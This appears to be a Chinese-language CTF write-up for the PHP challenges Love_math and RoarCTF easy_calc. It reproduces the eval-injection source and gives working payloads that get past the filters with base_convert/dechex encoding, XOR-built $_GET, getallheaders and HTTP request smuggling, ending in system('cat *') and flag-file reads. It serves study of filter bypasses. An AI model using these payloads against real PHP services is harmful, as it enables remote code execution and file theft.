題目源碼:php
<?php error_reporting(0); //據說你很喜歡數學,不知道你是否愛它賽過愛flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太長了不會算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("請不要輸入奇奇怪怪的字符"); } } //經常使用數學函數http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函數"); } } //幫你算出答案 eval('echo '.$content.';'); }
這道題又讓我學到了不少姿式,經過base_convert能夠任意進制轉換,能夠經過講10進制轉36進制,轉出a-z的符號,再經過拼接實現任意繞過執行任意代碼。html
<?php error_reporting(0); //據說你很喜歡數學,不知道你是否愛它賽過愛flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太長了不會算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("請不要輸入奇奇怪怪的字符"); } } //經常使用數學函數http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函數"); } } //幫你算出答案 eval('echo '.$content.';'); }
能夠看到題目限制了參數的長度要小於80,且不能包含空格、製表符、換行、單雙引號、反引號、[]
。而且輸入的字符串須要爲$whitelist
中的函數。
最終會執行 eval('echo '.$content.';');
python
既然想要getshell,咱們必需要可以獲取任意字符串。因爲單雙引號被ban掉了,咱們沒法從函數名中提取字符串。所以咱們只能想辦法從函數的返回結果中獲取。git
經過翻閱文檔,咱們發現base_convert
函數能夠返回任意字母,須要注意它沒法返回_ *
等特殊字符。
成功執行
執行系統命令system('ls')
如今咱們須要想辦法讀取flag.php
的內容,三條路:
一、使用php函數readfile等函數讀取文件,可是須要flag.php中的.
。
二、使用system等命令執行函數配合通配符*
讀取文件,可是須要*
。
三、使用$_GET
全局變量手動傳入參數getshell。github
上面的三種方法都創建在字符長度小於80的條件下。web
爲了縮短字符長度,咱們能夠將函數base_convert
賦值給一個短變量名,因爲白名單的限制,咱們最少須要兩個字符,即$pi
。shell
($pi=base_convert)(2146934604002,10,36)('flag.php');
咱們須要異或出.
而後與flag和php拼接到一塊兒,傳入readfile。
本地搭建環境fuzzapache
<?php $a = $_GET['a']; $b = $_GET['b']; echo $a^$b;
發現沒法異或出.
。
可是咱們發現dechex
函數能夠把10進制轉換爲16進制,咱們能夠再異或出hex2bin
,來獲取任意ASCII字符。
後端
最終payload
($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36));
很明顯,超長了
本地測試下在沒有長度限制下,是否能夠讀取
一樣的,咱們fuzz發現沒法異或出*
,須要藉助hex2bin函數。
system
php > echo base_convert('system',36,10); 1751504350
cat *
的16進製爲636174202a
最初payload
($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666)))
成功小於80
這個思路來自xq17和shadow師傅,已通過本人贊成。
剛開始咱們知道能夠異或出_
。而且$
沒有被waf,所以咱們可使用$_GET
全局變量手動傳入參數getshell。
雖然[]
被過濾,咱們依然可使用{}
來提取數組中的值。
經過fuzz,咱們能夠獲得
1^n=_; 5^r=G; 1^t=E; 7^c=T
不難構造出$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})
其實還有種方法就是利用getallheaders方法,由於是apache中間件,因此能夠用getallheaders方法
經過getallheaders構造可控headers,system執行。來自先知社區的ROIS WP
那麼多數學函數,實際上惟一能用的只有進制轉換類,即base_convert
、dechex
,經過其能導出[0-9a-z]在內的字符。
通過一大堆失敗的實驗,如:
// phpinfo(); (base_convert(55490343972,10,36))();
// system('cat /*'); $pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));
// system($_GET); $pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});
最後使用system(getallheaders(){9})
$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})
題目改編自Love_math,題目的難點在於設置的waf,限制了字符串,只能數字通行。在buuctf平臺復現
calc.php題目源碼:
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
與love_math仍是有本質區別的,沒有限制數學函數,而且過濾了$,^等。
那咱們能夠經過~取反來嘗試讀取當前目錄。
發現輸入字符會403,可是輸入數字卻能夠正常執行。結合題目給的源碼,設置了waf用來截斷字符,通行數字。
這裏經過三篇文章學習到了一些繞過方法,一二篇都是parse_str的,經過傳參php的字符串解析問題,首發於先知社區。第三篇是http走私攻擊
這裏由於限制了單引號,所以咱們仍是能夠用取反操做,直接不須要單引號,轉化爲字符串。來嘗試讀取目錄
var_dump(scandir('.'))
var_dump(scandir((~%D1)))
在嘗試讀下根目錄
嘗試讀取f1agg文件
原本想用system()直接讀的,disable_funcionts禁了
用readfile讀取f1agg
還有種方法就是仍是用數學函數來實現,payload:
base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))
http走私是因爲前端代理服務器和後端源服務器之間的一些差別致使請求走私。
經過CL-CL的方法來執行
利用CL-TE或者TE-CL
根據個人理解,其實對於這道題都同樣,前端代理和後端源都會執行一遍get傳參,前端代理有waf,後端源執行返回正常的。
可能個人理解有所偏頗,可是知道而且能理解就行,不要太鑽牛角尖。
後面的步驟與方法一 同樣
這裏附上很神奇payload:
((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((999**999).(1)){2}).(((999**999).(1)){0}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))).(((1).(1)){0}).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))))
學習文章:https://github.red/roarctf-web-writeup/#easy_calc